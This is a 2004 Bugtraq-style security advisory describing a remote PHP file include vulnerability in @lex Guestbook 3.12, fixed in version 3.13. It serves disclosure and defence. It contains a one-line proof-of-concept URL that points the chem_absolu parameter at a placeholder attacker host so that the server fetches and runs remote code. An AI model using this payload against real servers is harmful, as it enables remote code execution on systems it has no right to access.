@lexPHPTeam @lex Guestbook Remote PHP File Include Vulnerability

BID:11260

Info

@lexPHPTeam @lex Guestbook Remote PHP File Include Vulnerability

Bugtraq ID: 11260
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 27 2004 12:00AM
Updated: Sep 27 2004 12:00AM
Credit: Discovery of this vulnerability is credited to Himeur Nourredine <[email protected]>.
Vulnerable: @lexPHPTeam @lex Guestbook 3.12
Not Vulnerable: @lexPHPTeam @lex Guestbook 3.13

Discussion

@lexPHPTeam @lex Guestbook Remote PHP File Include Vulnerability

A vulnerability is reported to exist in the @lexPHPTeam @lex Guestbook software that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system. The issue exists due to improper validation of user-supplied data.

Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.

Exploit / POC

@lexPHPTeam @lex Guestbook Remote PHP File Include Vulnerability

No exploit is required.

The following proof of concept has been supplied:
http://www.example.com/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f

Solution / Fix

@lexPHPTeam @lex Guestbook Remote PHP File Include Vulnerability

Solution:
This issue has been addressed in version 3.13 of the software.


@lexPHPTeam @lex Guestbook 3.12

References

@lexPHPTeam @lex Guestbook Remote PHP File Include Vulnerability

References:

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